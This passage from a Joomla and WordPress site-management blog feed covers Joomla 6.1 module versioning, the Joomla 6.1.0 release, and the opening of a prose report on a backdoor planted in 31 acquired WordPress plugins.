&lt;p&gt;The field hack: before every edit, copy the existing HTML into a text file with today’s date. Works on one module. Does not work on thirty.&lt;/p&gt;
&lt;h3&gt;Staging Sites&lt;/h3&gt;
&lt;p&gt;A proper staging workflow solves this, but every small client edit through a staging cycle is its own kind of overhead. For a “just swap the phone number in the header module” change, most agencies skip staging and take the risk.&lt;/p&gt;
&lt;p&gt;Native 6.1 versioning kills every one of these workarounds for the specific case of module edits.&lt;/p&gt;
&lt;h2&gt;Are There Things That Joomla Module Versioning in 6.1 Does Not Cover?&lt;/h2&gt;
&lt;p&gt;Three caveats worth knowing before you sell this feature to a client.&lt;/p&gt;
&lt;h3&gt;Frontend Editing Is Not Tracked&lt;/h3&gt;
&lt;p&gt;The 6.1.0 implementation is admin-only. If a user edits a module through the frontend editing UI, that save does not hit the contenthistory hook and does not create a version row. This is a known follow-up, raised by Brian Teeman in the PR review. Expect frontend support in a future 6.x release. For now, treat frontend module edits as unversioned, and steer important changes through the admin panel where possible.&lt;/p&gt;
&lt;h3&gt;Existing Modules Have No History Until You Enable the Feature&lt;/h3&gt;
&lt;p&gt;Versioning starts recording at the moment you flip save_history on. It is not retroactive. If you turn it on today and a module was broken last week, last week’s good state is not in the history. This is why getting it enabled across your portfolio early is worth doing: every day you leave it off is a day of potential rollbacks you will never have.&lt;/p&gt;
&lt;h3&gt;The Versions Button Only Appears When com_contenthistory Is Enabled&lt;/h3&gt;
&lt;p&gt;On a default Joomla 6.1 install it is enabled. If you have been through a migration or disabled it for some reason, the Versions UI will not appear in the module edit toolbar even with save_history on. Re-enable com_contenthistory under Extensions → Plugins.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Enable Module Versioning in Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;For the curious, here is what happens when you click Fix This For Me on the Enable Module Versioning check.&lt;/p&gt;
&lt;p&gt;The mySites.guru connector sits on each managed site as a lightweight PHP bridge. When the dashboard sends a fix request for module versioning, the connector:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reads the current &lt;code&gt;params&lt;/code&gt; JSON from the &lt;code&gt;#__extensions&lt;/code&gt; row where &lt;code&gt;name = &apos;com_modules&apos;&lt;/code&gt; and &lt;code&gt;type = &apos;component&apos;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Parses the JSON, or falls back to an empty object if the params are missing or malformed.&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;save_history&lt;/code&gt; to &lt;code&gt;&apos;1&apos;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;history_limit&lt;/code&gt; to &lt;code&gt;&apos;10&apos;&lt;/code&gt; if it is not already a positive integer (respecting a value you set manually).&lt;/li&gt;
&lt;li&gt;Writes the updated params back to the &lt;code&gt;#__extensions&lt;/code&gt; table in a single UPDATE query.&lt;/li&gt;
&lt;li&gt;Reads back the saved value and returns it to the dashboard so the next snapshot reflects the change.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No filesystem writes. No Joomla admin session. No reliance on the web UI. It is the same mechanism we use for every other &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Joomla audit and fix tool&lt;/a&gt;, and it scales linearly: enabling versioning on 100 sites takes roughly as long as enabling it on 1.&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Does Enabling Module Versioning Slow Down the Admin?&lt;/h3&gt;
&lt;p&gt;No. The contenthistory hook is a lightweight insert into a single table on module save. There is no performance impact on admin page loads or frontend rendering. The only time you notice it is when you open the Versions panel, and even then it is a simple query against &lt;code&gt;#__ucm_history&lt;/code&gt; filtered by item id.&lt;/p&gt;
&lt;h3&gt;Can I Set a Different history_limit Per Module?&lt;/h3&gt;
&lt;p&gt;Not in 6.1. The history_limit is set at the component level and applies to every module saved through com_modules. A higher per-module limit may come later, but for now set the component-level limit to the highest value you want for any module, and rely on the Keep Forever flag on individual versions to preserve the specific states you never want pruned.&lt;/p&gt;
&lt;h3&gt;What Happens to Versions When I Delete a Module?&lt;/h3&gt;
&lt;p&gt;The contenthistory rows for the deleted module stay in &lt;code&gt;#__ucm_history&lt;/code&gt; by default. If you restore the module from the trash, the history is still there. If you permanently delete the module, the history rows become orphaned but do not cause harm. Joomla has no built-in cleanup for orphaned history rows, so a very long-lived site may accumulate some. It is a non-issue on any reasonably young site.&lt;/p&gt;
&lt;h3&gt;Does Module Versioning Apply to Menu Modules?&lt;/h3&gt;
&lt;p&gt;Yes. Menu modules are just modules from com_modules’ perspective. Once save_history is on, menu module edits are tracked like any other. This is separate from the existing menu item versioning, which tracks the menu items themselves.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46772&quot;&gt;PR #46772: Versions for Modules&lt;/a&gt; - Robert Deutz’s pull request with the full implementation, reviewer discussion, and testing instructions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/mastering-joomla-content-versioning-how-to-track-compare-and-restore-article-changes&quot;&gt;Mastering Joomla Content Versioning&lt;/a&gt; - Brian Teeman’s October 2025 Joomla Community Magazine piece on content versioning. Covers articles specifically, but the Versions UI is identical for modules in 6.1.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/60-61/&quot;&gt;Joomla 6.0 to 6.1 migration guide&lt;/a&gt; - official developer notes for the 6.1 release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;How to enable POW captcha in Joomla 6.1&lt;/a&gt; - the other 6.1 feature worth turning on across your portfolio: a built-in proof-of-work captcha that replaces Google reCAPTCHA.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Content_History_in_your_Component&quot;&gt;Using Content History in your Component&lt;/a&gt; - docs on how the com_contenthistory system works under the hood, useful if you develop custom components.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Running a Joomla agency and thinking about 6.1 upgrades? The &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt; covers update strategy, version management, and multi-site workflows. If you just want to know whether your sites are ready, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru Joomla 6 compatibility tool&lt;/a&gt; checks PHP, database, and update channel across every connected site in one view.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>modules</category><category>versioning</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/joomla-6-1-module-versioning.png" length="0" type="image/png"/></item><item><title>Joomla 6.1.0 Released - What&apos;s New</title><link>https://mysites.guru/blog/joomla-6-1-release-whats-new/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-1-release-whats-new/</guid><description>Joomla 6.1 ships a visual workflow editor, built-in POW captcha, media custom fields for audio and video, and a new Cassiopeia child template.</description><pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 6.1.0 stable shipped today, 14 April 2026. First minor release since 6.0 dropped in October 2025, and there are a few things in it worth knowing about.&lt;/p&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru compatibility checker&lt;/a&gt; can confirm all your sites meet the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; before you start rolling out updates. The tool scans every connected site’s PHP version, database version, and update channel in one view - no logging into 30 different admin panels.&lt;/p&gt;
&lt;h2&gt;The Three Headline Features in Joomla 6.1&lt;/h2&gt;
&lt;p&gt;The Joomla project promoted three features as the headline additions for 6.1. None will change your life, but they each fix something that’s been mildly annoying for years.&lt;/p&gt;
&lt;h3&gt;Visual workflow editor&lt;/h3&gt;
&lt;p&gt;Joomla’s content workflow system has existed since Joomla 4, but configuring it meant working through form fields and mentally mapping out stage transitions. Joomla 6.1 adds a graphical drag-and-drop editor that lets you visually design workflow stages and transitions. For agencies managing editorial workflows across client sites, this turns a clunky setup process into something you can actually demonstrate to a client in a meeting.&lt;/p&gt;
&lt;h3&gt;Built-in POW captcha&lt;/h3&gt;
&lt;p&gt;“POW” stands for proof-of-work. The idea is borrowed from cryptocurrency mining, but applied to spam prevention. When a visitor submits a form, their browser has to solve a small computational puzzle before the submission goes through. The puzzle takes a fraction of a second for a real browser on a real device, but it’s expensive to solve at scale. A spammer trying to submit thousands of forms would need thousands of times the computing power, which makes automated spam economically pointless.&lt;/p&gt;
&lt;p&gt;The key difference from reCAPTCHA or hCaptcha: everything happens locally. The visitor’s browser does the work and proves it did, without contacting any external server. There’s no API key to configure, no third-party JavaScript to load, no visitor data leaving the site, and no cookie consent banner needed for the captcha.&lt;/p&gt;
&lt;p&gt;For agencies this is useful. Setting up spam protection on a new client site today means registering for a reCAPTCHA account, generating API keys, pasting them into the Joomla admin, and hoping the client doesn’t lose the keys when they change their Google account. Multiply that by 30 or 50 sites and you can see why I’m pleased about this one. With POW you enable a core plugin and you’re done.&lt;/p&gt;
&lt;p&gt;It also sidesteps the GDPR question. reCAPTCHA sends visitor data to Google, so you need consent in the EU. POW doesn’t phone home to anyone, so there’s nothing to disclose. Joomla has a strong German contributor base and Germans don’t mess about with GDPR, so I’d guess that’s part of why this exists. Either way, it’s a better default.&lt;/p&gt;
&lt;p&gt;For the step-by-step on how to enable it across one site or every Joomla 6.1 site in your portfolio, see &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;how to enable POW captcha in Joomla 6.1&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Media custom fields for audio, video, and documents&lt;/h3&gt;
&lt;p&gt;The media custom field plugin previously only handled images. In 6.1, it supports audio, video, and document file types. This is useful for sites that need to attach downloadable PDFs, audio clips, or video files to articles through structured custom fields rather than dumping everything into the article body.&lt;/p&gt;
&lt;h2&gt;The Smaller Wins Shipped Alongside 6.1&lt;/h2&gt;
&lt;p&gt;A pile of smaller things shipped too.&lt;/p&gt;
&lt;p&gt;Modules now have version tracking - something articles have had for years. If you’ve ever lost a module change and wished you could roll back, this finally fixes that. I wrote up &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-module-versioning/&quot;&gt;how to turn module versioning on&lt;/a&gt; manually and across every site at once. Modules also gain association support across languages.&lt;/p&gt;
&lt;p&gt;The default Cassiopeia template’s child now includes built-in colour and font-size customisation without needing custom CSS. Clients can adjust brand colours directly from the template settings panel. The Joomla Community Magazine &lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/cassiopeias-child-learns-to-dress-itself-colors-and-font-sizes-in-joomlas-core-template&quot;&gt;wrote about this&lt;/a&gt; when it first shipped - worth a read if you’re tired of writing CSS overrides for every client.&lt;/p&gt;
&lt;p&gt;All plugins (except compatibility plugins) now load lazily, which should reduce memory usage on sites with many plugins installed. MFA enforcement has been tightened too - administrators can now force or exempt multi-factor authentication for superuser accounts specifically, which matters for agencies where multiple team members share admin access. That is a bigger change than it sounds: until 6.1 the Super Users group was filtered out of the field entirely, so &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;forcing MFA on Super Users&lt;/a&gt; was not something anyone could switch on.&lt;/p&gt;
&lt;p&gt;Some smaller wins: tags can be copied and moved in batch (finally), TinyMCE can handle &lt;code&gt;&amp;lt;abbr&amp;gt;&lt;/code&gt; elements for accessibility, subforms get a grid layout option that looks cleaner on mobile, and there’s a new CLI command to enable/disable extensions from the command line.&lt;/p&gt;
&lt;p&gt;The language override view now shows status and lets you quick-create missing overrides, which saves a lot of scrolling. The API picks up Schema.org data integration for anyone building headless Joomla sites. And for developers: the Web Asset Manager now supports a &lt;code&gt;nocache&lt;/code&gt; version string in &lt;code&gt;joomla.asset.json&lt;/code&gt;, which forces cache-busting during development so you stop wondering why your JS changes aren’t showing up.&lt;/p&gt;
&lt;h2&gt;What Should Joomla Agency Owners Do About 6.1?&lt;/h2&gt;
&lt;p&gt;If you’re managing client sites, don’t just hit “update all” and hope for the best.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Check compatibility. Use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru Joomla 6 compatibility tool&lt;/a&gt; to review your sites’ PHP and database versions. Joomla 6.1 has the same requirements as 6.0 (PHP 8.3+, MySQL 8.0.13+/MariaDB 10.4+), so if your sites are already on 6.0, you’re clear.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Verify update channels. Make sure production sites are on the Default update channel, not “Joomla Next”. The Default channel delivers minor updates like 6.0 to 6.1 safely. See &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;how to prevent accidental Joomla version jumps&lt;/a&gt; if you haven’t set this up.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check automated updates. Joomla 5.4 introduced automated core updates that can apply patches without admin intervention. If you prefer to control when updates happen, &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disable automated upgrades&lt;/a&gt; before 6.1 rolls out to your sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Test on one site first. Pick a low-risk client site, apply the update, check that templates and extensions work, and &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;review any overrides the update changed&lt;/a&gt;. You can &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;compare template versions across your portfolio&lt;/a&gt; to spot inconsistencies. Pay attention to any custom child templates - Joomla 6.1 changed how child templates handle language files (they now extend rather than override), which could affect custom translations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Roll out in batches. Once you’re confident, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru bulk update tool&lt;/a&gt; to push the update across your remaining sites from one dashboard.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Technical Requirements Are Unchanged From 6.0&lt;/h2&gt;
&lt;p&gt;No. The minimum requirements are identical to Joomla 6.0:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Requirement&lt;/th&gt;&lt;th&gt;Minimum&lt;/th&gt;&lt;th&gt;Recommended&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8.3.0&lt;/td&gt;&lt;td&gt;8.4+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;MySQL&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8.0.13&lt;/td&gt;&lt;td&gt;8.4+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;MariaDB&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;10.4.0&lt;/td&gt;&lt;td&gt;12.0+&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;If your server already runs Joomla 6.0, no infrastructure changes are needed for 6.1. For a deeper look at these requirements and what they mean for your hosting, see the full &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements breakdown&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Are There Breaking Changes in Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;A few things to watch for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Child template language files now extend parent language files instead of overriding them. If you’ve customised language strings in a child template, check they still apply after the update. This is the one most likely to bite you.&lt;/li&gt;
&lt;li&gt;The deprecated dispatcher usage and OPTGROUP handling have both been removed. Extensions still using the old patterns may break.&lt;/li&gt;
&lt;li&gt;Plugin lazy loading is now the default. Compatibility plugins are excluded, but custom plugins that assumed a specific loading order may need adjustment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extension developers should review the &lt;a href=&quot;https://manual.joomla.org/migrations/60-61/&quot;&gt;migration guide&lt;/a&gt; for the full list.&lt;/p&gt;
&lt;h3&gt;Known issues shipping with 6.1&lt;/h3&gt;
&lt;p&gt;There’s at least one known bug that made it into the stable release: if you enable Debug System in Global Configuration and set Query Explains to “Show” in the Debug plugin, all AJAX calls on the admin dashboard will fail with 500 errors (&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47526&quot;&gt;#47526&lt;/a&gt;). This has been present since RC1 with no fix attached yet. If you use debug mode on production (you shouldn’t, but people do), leave Query Explains turned off until a 6.1.1 patch ships.&lt;/p&gt;
&lt;p&gt;There’s also an open draft PR to &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47575&quot;&gt;harden WebAuthn unserialize calls&lt;/a&gt; against PHP object injection - a security fix that didn’t make the 6.1.0 cut but should arrive in a patch release soon.&lt;/p&gt;
&lt;h2&gt;Joomla.org Got a Redesign Alongside the Release&lt;/h2&gt;
&lt;p&gt;Yes. Alongside the 6.1 release, &lt;a href=&quot;https://www.joomla.org/&quot;&gt;joomla.org&lt;/a&gt; has had a facelift. The homepage now uses the same design language as &lt;a href=&quot;https://6.joomla.org/&quot;&gt;6.joomla.org&lt;/a&gt;, with a layout and typography that finally match the CMS it’s selling. Trying to convince a client that Joomla is a modern platform is a lot harder when the project’s own homepage looks like it was built in 2018, so I’m glad to see this one happen.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The redesigned joomla.org homepage, April 2026&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3200px) 3200px, 100vw&quot; width=&quot;3200&quot; height=&quot;2998&quot; src=&quot;https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_Z2mlGS1.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_1kyXsT.webp 640w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_1cE9cn.webp 750w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_ZMhnb0.webp 828w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_QOn0L.webp 1080w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_1pev0r.webp 1280w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_Z2r3u1C.webp 1668w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_2ncsyk.webp 2048w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_Z1r0aPR.webp 2560w, https://mysites.guru/_astro/joomla-org-redesign-2026.CPVQTKTH_Z2mlGS1.webp 3200w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Features Were Planned for Joomla 6.1 but Didn’t Make It?&lt;/h2&gt;
&lt;p&gt;The Alpha 1 announcement mentioned several features “in development” that didn’t make the cut. I dug into the current status of each one:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI integration via MCP servers&lt;/strong&gt; - A proof-of-concept was built during a January 2026 sprint by four core contributors, but it still needs cleanup, installation scripts, and tests before it’s PR-ready. There’s no open PR in joomla-cms yet and no confirmed version target. Don’t hold your breath for 6.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate-limiting framework&lt;/strong&gt; - This one has been explicitly pushed to Joomla 7.x (2027+) on the official strategy page. It’s not coming in any 6.x release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Health checker tool&lt;/strong&gt; - The project exists in the &lt;code&gt;joomla-projects/HealthChecker&lt;/code&gt; repo but hasn’t been merged into core. No PR targeting joomla-cms has been opened. If you want a health checker now, &lt;a href=&quot;https://www.joomlahealthchecker.com/&quot;&gt;Joomla Health Checker&lt;/a&gt; is free, or &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; gives you deeper insights across all your sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full WCAG 2.2 AA compliance&lt;/strong&gt; - Listed as “in planning” on the features tracker with no version assigned. There are a few incremental accessibility PRs targeting 6.2 (aria-disabled for toolbar buttons, admin sidebar improvements, alt text for language module images), but nothing close to a comprehensive WCAG 2.2 sweep.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 6.2 is scheduled for 13 October 2026, with Alpha 1 on 26 May 2026. Based on the PR activity, expect incremental improvements rather than any of these headline features shipping. The release candidate is now out, and our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-2-requirements-changes-extension-compatibility/&quot;&gt;Joomla 6.2 requirements and readiness guide&lt;/a&gt; covers what made it in.&lt;/p&gt;
&lt;h2&gt;Joomla 6.1 Release Timeline&lt;/h2&gt;
&lt;p&gt;The full development cycle from first alpha to stable took five months:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Milestone&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Alpha 1&lt;/td&gt;&lt;td&gt;25 November 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Alpha 2&lt;/td&gt;&lt;td&gt;23 December 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Alpha 3&lt;/td&gt;&lt;td&gt;20 January 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta 1 (feature freeze)&lt;/td&gt;&lt;td&gt;17 February 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta 2&lt;/td&gt;&lt;td&gt;3 March 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta 3&lt;/td&gt;&lt;td&gt;17 March 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RC 1&lt;/td&gt;&lt;td&gt;31 March 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RC 2&lt;/td&gt;&lt;td&gt;7 April 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RC 3&lt;/td&gt;&lt;td&gt;13 April 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Stable&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;14 April 2026&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Feature freeze at Beta 1, then three months of stabilisation. The project has settled into a predictable six-month minor release cadence, which makes planning client upgrades much easier.&lt;/p&gt;
&lt;h2&gt;What About Sites Still on Joomla 5?&lt;/h2&gt;
&lt;p&gt;Joomla &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5951-joomla-5-4-5-bugfix-release.html&quot;&gt;5.4.5 shipped the same day as 6.1&lt;/a&gt;, a bugfix release for the 5.x series with 12 merged pull requests. Nothing headline-grabbing, but a useful cleanup pass:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prevents recursion in the loadposition and loadmodule plugins&lt;/li&gt;
&lt;li&gt;Fixes a double timezone conversion in Media Manager file dates&lt;/li&gt;
&lt;li&gt;Corrects RTL/LTR corner radius inconsistencies&lt;/li&gt;
&lt;li&gt;Resets the media manager rotate angle input properly&lt;/li&gt;
&lt;li&gt;Improves TinyMCE custom CSS loading&lt;/li&gt;
&lt;li&gt;Fixes a custom fields regex pattern in ShowOnRule&lt;/li&gt;
&lt;li&gt;Highlights modal category field validation correctly&lt;/li&gt;
&lt;li&gt;Warns about duplicate subform fields&lt;/li&gt;
&lt;li&gt;Corrects an association template file path&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 5 is still under active maintenance, so if you have clients who aren’t ready to move to 6.x yet, 5.4.5 is a safe maintenance update. Grab it from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla5/5-4-5&quot;&gt;downloads.joomla.org&lt;/a&gt; or let mySites.guru push it across your portfolio in one go. Joomla then followed up on 26 May 2026 with a &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;joint 5.4.6 and 6.1.1 security release&lt;/a&gt; covering ten CVEs including an MFA bypass and a com_users privilege escalation, so anything still on 5.4.5 or 6.1.0 needs that patch next.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news.html&quot;&gt;Joomla 6.1 official release notes&lt;/a&gt; - the full changelog and download links&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/60-61/new-features/&quot;&gt;Joomla 6.1 new features documentation&lt;/a&gt; - official feature details with code examples&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/60-61/&quot;&gt;Joomla 6.0 to 6.1 migration guide&lt;/a&gt; - breaking changes and developer notes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla project roadmap&lt;/a&gt; - what’s planned for 6.2 and beyond&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; - official minimum and recommended versions&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Planning your Joomla 6.1 rollout? The &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt; covers update strategy, version management, and multi-site workflows.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>updates</category><category>upgrade</category><enclosure url="https://mysites.guru/img/og/blog/joomla-6-1-release-whats-new.png" length="0" type="image/png"/></item><item><title>The WordPress Plugin You Trusted Was Sold to an Attacker</title><link>https://mysites.guru/blog/essential-plugin-wordpress-backdoor/</link><guid isPermaLink="true">https://mysites.guru/blog/essential-plugin-wordpress-backdoor/</guid><description>A buyer acquired 31 WordPress plugins, planted a backdoor in August 2025, and activated it in April 2026. Here is what happened and how to check your sites.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On April 5, 2026, a backdoor hidden inside 31 WordPress plugins woke up. It had been sitting dormant for eight months, planted by a buyer who acquired the entire Essential Plugin portfolio in early 2025. Their very first code commit was the backdoor. When it activated, it injected SEO spam into &lt;code&gt;wp-config.php&lt;/code&gt; across every site running any of the affected plugins.&lt;/p&gt;
&lt;p&gt;There is no CVE, and no patch that fixes this. These plugins are permanently closed on WordPress.org and will never be updated again. If any of them are on your sites, remove them and check for damage.&lt;/p&gt;
&lt;p&gt;Austin Ginder at &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Anchor Hosting&lt;/a&gt; found this while doing forensic work on a client site and wrote up the full technical breakdown. This post covers what you need to know, what mySites.guru found across our platform, and how to check your own sites.&lt;/p&gt;
&lt;p&gt;This is the second supply chain attack on WordPress in a single week, after the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro 3.5.1.35 compromise&lt;/a&gt; we covered on April 8. Different attackers, different methods, same outcome.&lt;/p&gt;
&lt;h2&gt;How Did the Essential Plugin WordPress Backdoor Work?&lt;/h2&gt;
&lt;p&gt;A buyer going by “Kris” picked up the Essential Plugin portfolio (formerly WP Online Support) on Flippa for a six-figure sum. That gave them 31 plugins with a combined install base in the hundreds of thousands. On May 12, 2025, a new &lt;code&gt;essentialplugin&lt;/code&gt; account showed up on WordPress.org with SVN commit access to all 31.&lt;/p&gt;
&lt;p&gt;On August 8, 2025, the buyer’s first code commit shipped in version 2.6.7. The changelog said “Check compatibility with WordPress version 6.8.2.” In reality, it added 191 lines of backdoor code hidden inside the plugin’s existing analytics module.&lt;/p&gt;
&lt;p&gt;The short version: the plugin phones home to the attacker’s server, the server sends back malicious code, and the plugin executes it. The attacker then drops a fake core file called &lt;code&gt;wp-comments-posts.php&lt;/code&gt; into the webroot and injects SEO spam into &lt;code&gt;wp-config.php&lt;/code&gt;. The spam only shows up for Googlebot, so site owners never see it when browsing their own site. To make it harder to shut down, the attacker resolves their command-and-control domain through an Ethereum smart contract instead of normal DNS, so taking down one domain does not help.&lt;/p&gt;
&lt;p&gt;For a full technical breakdown of the deserialization chain, REST endpoint abuse, and C2 evasion, read &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Austin Ginder’s original writeup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From August 8, 2025 until April 5, 2026, the attacker’s server just returned normal responses. Eight months of nothing. Then it flipped and started serving malicious payloads.&lt;/p&gt;
&lt;h2&gt;What Did WordPress.org Do?&lt;/h2&gt;
